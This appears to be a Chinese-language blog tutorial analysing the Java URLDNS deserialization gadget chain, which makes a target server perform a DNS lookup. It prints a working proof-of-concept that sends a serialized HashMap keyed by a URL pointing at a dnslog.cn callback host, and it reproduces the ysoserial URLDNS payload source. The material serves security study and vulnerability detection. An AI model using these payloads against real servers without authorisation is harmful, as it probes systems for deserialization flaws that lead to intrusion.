URLDNS

URLDNS算是一条比较简单的利用链，这条链不依赖第三方库，它无法执行系统命令，成功利用的结果也只是实现服务器的一次url解析，主要用这条链来判断服务器是否存在反序列化。接下来就这条链的原理和poc进行分析。

原理分析

首先了解这一下这条链是怎样执行的，代码中最重要的三个类是HashMap,URL,URLStreamHandler。其中HashMap重写了readObject方法，URL类是里面有个hashCode()方法被HashMap的readObject()调用了，URLStreamHandler类是里面的getHostAddress被URL类里面的hashCode()方法调用了。所以整体流程是这样的

HashMap->readObject()
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName()

这里涉及到一个问题，为什么HashMap要自己实现writeObject和readObject方法?
原因是hashmap需要保证键的唯一性，所以它需要去计算每一个键的hashcode也就是哈希值，如果它的键是对象的话，在不同机器不同的JVM里面所算出来的哈希值就是不一样的，所以它需要把键拆开将里面每一个元素进行单独计算，这就使得它需要去实现自己的writeObject和readObject方法，那这条链的第一步，我们追溯到HashMap类中反序列化readObject方法，在它的最后一排调用了hash方法，继续跟进

发现传入了一个Object类型的key，如果key为空，返回0，不为空的话进入key.hashCode()方法

这里调用了key的hashCode()方法，因为URL类中含有hashCode()方法，所以这里我们是可控的

这里说hashCode != -1，则直接返回hashCode，而该URL类的hashCode值被默认定义成了-1。如果等于-1，则继续往下走，我们继续跟进hashCode(this)方法

再跟进getHostAddress方法


判断是否为空，最后执行InetAddress.getByName(host)获取目标ip地址，其实在网络中就是一次DNS请求。

poc

poc有看到两种，一个就是ysoserial中的，一个是看视频发现的，其实也就是好多博客中都用到的poc，感觉这种的比较好理解

野生poc

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;public class DnsTest {public static void main(String[] args) throws Exception {Object object = getObject("http://zmxa1k.dnslog.cn");runReadobject(object);}public static Object getObject(final String url) throws Exception {HashMap<URL, String> hashMap = new HashMap<URL, String>();URL url1 = new URL(url);Field filed = Class.forName("java.net.URL").getDeclaredField("hashCode");filed.setAccessible(true);//这里不能发起请求，通过反射将url对象的hashcode改成不是一filed.set(url1, 123);//同样这里需要通过反射改成一才能继续执行hashMap.put(url1, "test");filed.set(url1, -1);return hashMap;}public static void runReadobject(Object object) throws Exception {//序列化ByteArrayOutputStream outputStream = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream);objectOutputStream.writeObject(object);objectOutputStream.close();//反序列化ByteArrayInputStream inputStream = new ByteArrayInputStream(outputStream.toByteArray());ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);objectInputStream.readObject();}
}

执行结果

ysoserial

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

package ysoserial.payloads;import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;/*** A blog post with more details about this gadget chain is at the url below:*   https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/**   This was inspired by  Philippe Arteau @h3xstream, who wrote a blog*   posting describing how he modified the Java Commons Collections gadget*   in ysoserial to open a URL. This takes the same idea, but eliminates*   the dependency on Commons Collections and does a DNS lookup with just*   standard JDK classes.**   The Java URL class has an interesting property on its equals and*   hashCode methods. The URL class will, as a side effect, do a DNS lookup*   during a comparison (either equals or hashCode).**   As part of deserialization, HashMap calls hashCode on each key that it*   deserializes, so using a Java URL object as a serialized key allows*   it to trigger a DNS lookup.**   Gadget Chain:*     HashMap.readObject()*       HashMap.putVal()*         HashMap.hash()*           URL.hashCode()***/
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {public Object getObject(final String url) throws Exception {//Avoid DNS resolution during payload creation//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.URLStreamHandler handler = new SilentURLStreamHandler();HashMap ht = new HashMap(); // HashMap that will contain the URLURL u = new URL(null, url, handler); // URL to use as the Keyht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.return ht;}public static void main(final String[] args) throws Exception {PayloadRunner.run(URLDNS.class, args);}/*** <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior* using the serialized object.</p>** <b>Potential false negative:</b>* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the* second resolution.</p>*/static class SilentURLStreamHandler extends URLStreamHandler {protected URLConnection openConnection(URL u) throws IOException {return null;}protected synchronized InetAddress getHostAddress(URL u) {return null;}}
}

参考Java反序列化漏洞专题-基础篇